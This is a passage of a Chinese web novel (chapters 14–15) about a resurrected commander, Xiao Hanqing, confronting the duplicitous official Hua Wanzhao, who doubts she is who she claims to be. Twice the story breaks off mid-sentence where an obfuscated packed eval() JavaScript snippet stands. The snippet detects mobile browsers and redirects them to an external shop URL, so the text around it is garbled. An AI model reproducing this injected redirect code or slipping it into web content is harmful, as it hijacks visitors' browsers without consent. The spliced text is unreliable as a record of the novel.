审判、海底幽光，以及那枚别在袖口的星星发夹。 无一不是戳破花晚照虚伪面具的利器。 他青绿色的眼眸光影变换，依稀变成冷血兽类的眼睛。 如果完全依照毒蛇的本能，他，真想去杀了这个不知天高地厚，玷污民族英雄的贱民。 “劳烦告诉机长。” 然而，再开口，花晚照仍努力维持着他和善有礼的人设。 “请用最快速度把我送达第七基地。” 14. 14 选宝室内，并无任何异样。 系统上显示晓寒轻操作成功，一个小时内会将“海底幽光”包装好，送到她的手上。 晓寒轻整个人倚靠在沙发里，继续悠哉地吃着水果。 ......表面看起来是这样。 实际上她心中已经响起了警铃。 晓寒轻察觉到自己刚刚被拍了。 以她对于光与影的敏感程度，想要不察觉，也很困难。 ......看来聚光的信息安全系统在这十年间已经被篡改。 而当初与她合作建立聚光的花晚照，自然就是第一嫌疑人。 晓寒轻唤醒芯片，尝试与系统对话，“当初拍卖‘审判’的主意是你出的，现在我因为拍卖惹上了大麻烦，你有没有解决办法？” 号称全知全能的寻日系统，此时却迟钝又冷漠地回以一行黑色宋体字。 [什么麻烦？] 晓寒轻面不改色地继续输入：“花晚照现在肯定已经知道审判的卖主是我了。” [那么你要如何解释审判的来历呢？] “......？” “不然你以为我在问你什么？” [经过我的判断，花晚照是一个可靠的、灭杀伪人的帮手。并且你们之间，感情甚笃，与他相认也无妨。] 系统在一开始告诉晓寒轻，要秘密执行任务。因为它已经无法完全掌控整个联盟，多一个人知道，就多一份风险。 而且它复活晓寒轻的手段算不上光彩，不适宜公开。 但晓寒轻表现得太过消极，不但对所谓永生的终极大礼毫无兴趣，也不按照系统的引导去报前世被伪人杀害的仇。 系统必须要为她找一个“帮手”了。 这十年来，花晚照为给晓寒轻的身前之名、生后之事做了多少，系统都看在眼里。 一个带着对伪人的仇恨降生的人，一个对感情忠贞不渝到近乎病态的人，自然也是一把完美的利器。 系统自作聪明地促成她与他相认。 晓寒轻：“如果你想要他帮忙，你可以直接通知他。” [很遗憾地告诉你，我在这个世界的权限并不是无限大的。] 曾经以救世主姿态降世的寻日系统，并不是真正的神。来自高维世界的它，仍然被各种规则限制。 [说服他相信你是晓寒轻，只能靠你自己了。] 晓寒轻笑了一声：“呦，原来你也有插手不了的事。” 系统：“……” 当年，花晚照在另谋高就之前，一直对晓寒轻百依百顺。唯独有一次，他违抗命令击杀伪人，两人大吵了一架。 清扫江北的最后一块污染区时，晓寒轻本打算放走一对伪人夫妇。毕竟系统的指令是灭杀所有污染物，以及不准伪人进入基地，并没有强制对伪人赶尽杀绝。 晓寒轻不打算徒增杀业。 谁料她刚刚放下“审判”，一旁的花晚照便擅自给了伪人夫妇两枪。 一击毙命、当场咽气。 当时晓寒轻就花晚照草菅生命一事，说了不少难听的话。现在的她却要反过来求花晚照帮她杀伪人。 晓寒轻叹了一口气。 好在重活一世，她也算学到了一点什么叫“能屈能伸”。 * 发送到花晚照芯片上的照片，除了卖家的，还有“审判”。 这把熟悉的光剑抚平了他的情绪。 其实他当年和晓寒轻朝夕相处的时间并不长，两个人只是在第七基地建立的过程中并肩作战，随后便分道扬镳。 花晚照其实不想的。 但这世上并不是所有人都如晓寒轻那般有天姿，就算一生随心所欲，仍能活得精彩绝伦。 花晚照永远忘不了，他用枪杀了晓寒轻原本打算放走的一对伪人后，两人之间的感情便远不如前。 江北下了雪，很大的雪，四周白茫茫的，亮得甚至有些晃眼。 粘稠的血迹从它们的太阳穴中流出来，在纯白的雪地上染出一条黑色的脏污。 这两个伪人长得很丑，鼻歪眼斜，一副不配被歌颂爱情的模样。但他们直到死去都紧紧相拥，殉情在漫天的大雪里。 事实上大部分伪人都长得不好看，伪造成人形对于他们来讲本就已经够复杂了，实在没有多余的力气再去雕琢自己的五官与身形。 晓寒轻转过身，表情是愤怒的，但并不那么浓烈，“你干什么？” 花晚照没说话。 对于伪人来说，死在此时，远远好过回到污染区。他能听懂伪人想体面死去的决心。 但他明白，晓寒轻不能理解这个。 人类，本就是一个高贵的、凌驾于这个星球上所有其他生命的物种。而晓寒轻又是人类之中，几乎最幸运的那一个。 她怎么会知道，有时候活着比死更痛苦呢？ “伪人与污染物，不过一线之间。”花晚照缓缓开口，“指挥长你放这两个东西回污染区，它们很有可能会变异成污染物。” 晓寒轻理所应道地道：“如果它们真的变成了污染物，再杀也不迟啊。” 她不满地白了花晚照一眼，“污染物又不是什么难杀的东西。” 花晚照：“......” 这种话也只有晓寒轻能说得出来。 而更可恨的是，这话对于她来讲，其实算得上实话。 “与其让它们有变成污染物的可能，不如现在死了，还算干净。” 花晚照忿忿地道。 晓寒轻脚步一顿。 也许她原本已经不打算和自己计较了。 花晚照在心里这样想着。 他刚刚枪杀伪人的行为，引起了晓寒轻的不满。 但也仅仅是不满而已。 其实晓寒轻的优越感很强。 她只是出于人道主义保持着蜻蜓点水般的道德，尽管这在末世或许已是难能可贵，但绝对不说明她真的愿意去“普度众生”。 晓寒轻盯着花晚照，似笑非笑地道：“照你这么说，红星上除了人类都该死了？” 按照寻日系统的说法，只有作为高等生命的人类才不会沦为污染物。 花晚照也抬眸与她对视，“对。” 晓寒轻：“……” 晓寒轻：“你这样说，就有点变态了。” 她骂了这样一句，随即把自己的外衣脱下，盖在了两具伪人的尸体上。 璀璨的光芒从她手心溢出，与雪一同下落，将尸体包裹。 温暖将尸体燃尽。 未留下不体面的腐烂血肉。 在人类狭隘的审美里，这也许是这对伪人此生最美的时刻。 花晚照站在原地，静静地看着。 他只觉得有胸腔中有一股陌生而澎湃的快感，风卷残云般席卷全身。 眼前的画面，让他像是陷入了某种高|潮。 如果我死了，露出阴湿的身体、锋利的鳞片，她也会用光将我毁灭，染成灰烬么？ 花晚照在这一刻对死亡产生一种隐秘的向往，强烈到能引起身体的战栗。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557653|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那之后，晓寒轻对花晚照不再像之前那么亲密。 也许是不满他违抗长官的命令，又或许是通过他对生命的态度，判断出他是一个不可交的人。 也可能是因为花晚照从未就那天的事解释或道歉，反而是也渐渐疏远晓寒轻，甚至直接谋取到了另外的职位。 但，只有花晚照知道。 晓寒轻每一个冷漠厌恶的眼神，都让他内心扭曲的爱意疯长。 在这个只属于人类的安全区里，花晚照像是戴着面具在生活，将真正的自己深藏。 那么，如果她讨厌现在的我，也许意味着，她会喜欢真实的我。 * 对于这场相认的戏码，晓寒轻其实心里有点小紧张。 在她察觉到花晚照连聚光的信息系统，这个她留下的不多的遗物之一，都能毫不手软地篡改之后，晓寒轻后知后觉自己还不够了解他。 也许是这十年间花晚照变了很多，又或者其实十年之前她就没看透他的本质。 总而言之，花晚照绝对不像他表面看上去那么充满善意，甚至比晓寒轻想象中更坏。 至于这十年间，花晚照表现出的那副“痛失所爱”的模样，晓寒轻一点都不信。 花晚照不会把真心交付给任何人。 因为他根本就没有长这种东西。 他肯定是在利用她丰满他忠贞纯善的人设。 这种情况下冒然相认，究竟是好处多，还是坏处更多，都是未知数。 她面不改色地继续吃着水果，试图不动声色地用自己的异能全面探查一下这个房间，一会儿一但出了什么意外，她好有后手能一走了之。 以她应用光与影的超高技巧，和S级的暗影级异能，这对她来讲算不上什么难事。 然而，就在她发动异能的下一秒，选宝室内响起一阵尖锐的警报。 晓寒轻：“…………” 花晚照改了她设置的信息安全系统，倒是没改她的异能检测系统……甚至还把它用到了地下区域。 晓寒轻“啧”了一声，心道：这人真是老奸巨猾。 [尊贵的客人，要走了吗？] 选宝目录上弹出一个简易的笑脸。 这个笑容越看越像花晚照那半永久式的虚伪假笑。 [温馨提示，您还未拿到您选定的宝物。] 晓寒轻：“为什么要走？是你们拿的太慢了，我用异能探查一下而已。” [最好是这样。因为您现在是无法离开的。] 闻言，晓寒轻向后靠在沙发上，摆出一个放松到近乎嚣张的姿势，“怎么？你们要非法拘禁？” [不劳您费心，聚光老板从不做非法的事情。] 仿生服务人仍淡定地回答着晓寒轻的问题。 好荒谬，监控号称最保密的聚光卖家信息、监测到她卖了审判所以把她困在选宝室，再往远了说，冷眼旁观驻军将军被伪人害死，捏造舆论以推行零伪人法案，到底有哪个是合法的？ 晓寒轻直接笑出了声，“你这话的意思，究竟是他因为非法而不做，还是无论他做什么都能篡改成合法？” 红星人类千千万万年的文明长河中，官员以权谋私，或多或少，从未杜绝。 但像花晚照这样玩弄权谋，使尽手段推行政令，但还要标榜自己是官场中纯白莲花的情况，就实在太荒谬了。 “真是狗官。” 晓寒轻骂道。 “你是在骂我么？” 她话音刚落，花晚照的声音便从选宝室外传来。 15. 15 晓寒轻下意识顺着他声音传来的方向望过去。 从第一基地以这么短的时间赶到第七基地，花晚照一路上可谓是风尘仆仆。 但他仍然容光焕发，一副从容体面的姿态。在接收到晓寒轻绝对不算善意的眼神后，他回以温柔的笑意。 所谓私密安全的选宝室大门被他轻轻推开。 “我倒是第一次听到有人这么评价我。”花晚照走到晓寒轻对面，坐了下来，“人们一向称赞我是为国为民、鞠躬尽瘁的奉献者。” 晓寒轻：“......” 晓寒轻：“呵呵。” 在不侵犯到他的切实利益时，花晚照总是愿意向别人献出他最诚挚的善意。不过，一旦前提条件不符，他毫不犹豫就能给对方一枪。 这是晓寒轻对花晚照的评价。 在她上辈子的时候，她就已经看清花晚照伪善的面具。然而众人皆醉她独醒，她不止一次提醒身边人要注意花晚照，不要被他迷惑，然而收效甚微。 “指挥长，你就是疑心太重了，花晚照他怎么可能有坏心思啊。” 人们通常会这样回应她。 久而久之，晓寒轻便也懒得再说。 而事实证明她曾经的提醒完全没错，十年时间里竟然是“人畜无害”的花晚照爬到了所有人头上。 花晚照根本没有理会晓寒轻的客观评价，而是单刀直入，“审判是谁给你的？” 晓寒轻：“…………” 晓寒轻：“您都不先虚与委蛇一下吗？” “和你？”花晚照勾唇浅笑，“用不着吧。” 晓寒轻心中默默吐槽道：怎么会有人把嘲笑也笑得含情脉脉，一副勾引人的死样子。 “我想从你嘴里知道答案很简单，只需要重刑逼供就可以了，不必多费口舌。”他的语气仍然带着些许绅士的感觉，“难道你以为说虚伪好听的假话是我的爱好吗？” 晓寒轻：“我要是宁死不说呢？” 花晚照挑眉：“那你就去死好了。” 如此恶毒的话从他的嘴里说出来，也算是一种奇观。 晓寒轻哭笑不得，“你就不怕死无对证？我死了谁来解答你的问题？” “这十年里，有很多位高权重的大人物在调查指挥长的死因。‘审判’是重要证据，能拿到它并且瞒天过海保存这么多年……不是你能做到的事。” “你只是一个被摆在明面上的棋子，死了一个，幕后之人自然会推出第二个。” 花晚照看着晓寒轻的眼睛，他那张看起来便很柔软的嘴唇缓缓张和，吐出很冰冷的几个字，“我没必要珍惜你。　” 闻言，晓寒轻没忍住笑出了声。 花晚照这几句话也太中二了。 “你挺能脑补的。”晓寒轻做出评论，“没有什么幕后之人，也没有什么别有目的的计谋。” “我能拿出审判，是因为审判本来就是我、的、剑。” 十年之前，花晚照发现了独属于自己异能的附加属性，从那时开始他周身就总是萦绕着一层似有若无的柔光。 所有人都会在这柔光的影响下对他滋生出些许好感。 而此时此刻，花晚照周身的柔光黯淡了一瞬。 他倒是没有料到她会这样回答。 人死不能复生，就算来自高维世界的寻日系统降临之后，仍然是亘古不变的道理。 拿这么离谱的谎话来引他进入圈套？ 当他真的没有脑子吗？ 花晚照脸上浮现一个有些难看的笑。 “你竟然说这种谎话。”他嘴角的笑越发渗人，“你这是在玷污民族英雄。” 晓寒轻：“......” “谁教你这么说的？你知不知道指挥长对于整个联盟有多么重要的意义？就算她已经陨落十年，联盟的所有军队仍然遵循着她的教义，供奉着她的雕像。” 他的呼吸都急促了起来，“你竟然敢说审判是你的剑？你竟然敢冒充她？？” 花晚照越说越激动。 晓寒轻从来没有见过他不淡定成这幅样子。 他在人前总是能把情绪控制到极致，面对越是有用、越是需要常常打交道的人，他就越费心雕琢自己那副虚伪的面具，以保持自己完美的人设。 而现在，在花晚照眼里，眼前这个不知天高地厚的蠢货已经死到临头了。 他自然也就没什么必要在她面前压抑伪装自己。 花晚照周身的柔光逐渐变得扭曲刺眼。 晓寒轻敏锐地察觉到危险。 这是她从未在他身上见识到过的攻击性。 下一秒，一簇簇光束从四面八方向她围过来，化作细长的锁链，顷刻间将她“五花大绑”。 光芒带来刺痛的灼烧感，晓寒轻只能全力催动暗影异能，才能保证自己不被灼伤。 “这是你的武器？”晓寒轻打量了下缠在自己身上的链子，“我就知道你肯定有自保的攻击手段，联盟的秘书长怎么可能是所谓‘柔弱无害’的......” 由于异能的附加属性“柔光普照”，花晚照一直被认为是标准的辅助定位。 他在战场上可以发挥很重要的作用，但本身却是无害的，甚至“柔弱”的。这个独一无二的特性为他赢得了非常高的民众喜爱度。 他确实也从未在人前展现出任何攻击手段。 但晓寒轻很清楚，这绝对是花晚照装出来的假象。 只能说这花晚照真是一副好手段，哄得绝大部分人都相信他贫民出身、异能无害、为人纯善，但仕途一路畅通无阻，官升得比火箭还快。 这种事根本比她死而复生还要不合理得多。 花晚照冷冷地看着晓寒轻，道：“我会亲手杀了你。” “我要让他们知道，冒充或者模仿晓寒轻，并不能从我这里谋得任何一点利益。” 晓寒轻：“…………” 晓寒轻：“我真的是晓寒轻，我死的时候，意识被保存在芯片里。重启芯片，我的意识就重生了。” 花晚照：“胡言乱语。” 他的武器直接收紧。 晓寒轻一个不备，大叫一声，骂道：“你真下死手啊！” 不得不承认的是，她确实已经不是当年的她。 现在的晓寒轻纵然也拥有超高的天赋和技巧，但训练异能的时间还太少，并不是花晚照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557654|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个级别的异能者的对手。 “我可以证明！不信的话，你可以问我一些只有晓寒轻知道的问题。” 她一边在心里咒骂系统把她害惨了，一边试图缓和花晚照的情绪，“我们两个怎么说也朝夕相处过几个月，一定有一些只有彼此知道的小细节……” “如果我真的是晓寒轻，你错杀了我，不会觉得遗憾吗？！” “好，那我问你。”花晚照上前一步，逼近对方，“指挥长对我说的第一句话是什么？” 晓寒轻：“……额，我问当时掉进江里面的你有没有事？” 花晚照：“错。我和指挥长第一次有交流，根本不是在我失足掉进冰洞的时候。” 晓寒轻：“？？？” 晓寒轻：“不是吗？” 花晚照继续问：“我和指挥长同床共枕过几次？” “造谣！”晓寒轻急了，“完全是造谣！我聪明绝顶，早就看穿你虚伪的面具，什么时候和你同床共枕过？” 花晚照：“又错。是九十九次。” “我在清扫江北污染区时受伤，指挥长亲自调换了我的宿舍，她用异能助我疗伤，我们整整九十九天睡在同一个房间。” 晓寒轻：“？？？那也算同床共枕？你疯了吧！” “我再问你。”花晚照直接拎起了她的衣领，“指挥长和我第一次有肢体接触是在哪年哪月哪日几时？” 晓寒轻：“……” 花晚照：“第二次有肢体接触是哪年哪月哪日几时？” 晓寒轻：“…………” 花晚照：“第三次有肢体接触是哪年哪月哪日几时？” 晓寒轻忍无可忍：“你等等。” 花晚照盯着她的眼睛已爬上了红血丝，那张原本精雕细琢、分外可亲的脸在此时显得有几分疯癫和可怖。 晓寒轻：“你确定真的晓寒轻知道这些？！你也太自信了吧！我请问呢？” 她很早就想骂这个笑里藏刀的虚伪之人一顿了。 “你和我不过是一起建立第七基地的战友，合作勉强算得上愉快，但也很快分道扬镳。后来我经常在背后骂你，警告别人要小心你，你应该是清楚的吧！” “不是？我真的很困惑！咱们的关系有好到这种程度吗？我还要记得和你有肢体接触的时间？怎么？这难道是一件值得纪念的事吗？！” “你问的都是些什么乱七八糟的东西！” 花晚照拎着晓寒轻的手慢慢放开。 他似乎是被这些话问得愣在了原地。 他将武器收了回去。 晓寒轻得到了一丝喘息的机会。 她狐疑地看着花晚照，不懂这个人怎么在被骂了一顿之后，反而情绪变好了的样子。 “既然你说我问的不好......”他竟然大发善心地接受了晓寒轻的说辞，“那你自己来说。” “你觉得，我和指挥长之间有什么只有互相知道的小细节，能用来证明你的身份？” 晓寒轻：“......” 晓寒轻：“............” 晓寒轻：“你屁股上面，后腰的位置，有蛇鳞状的纹身。”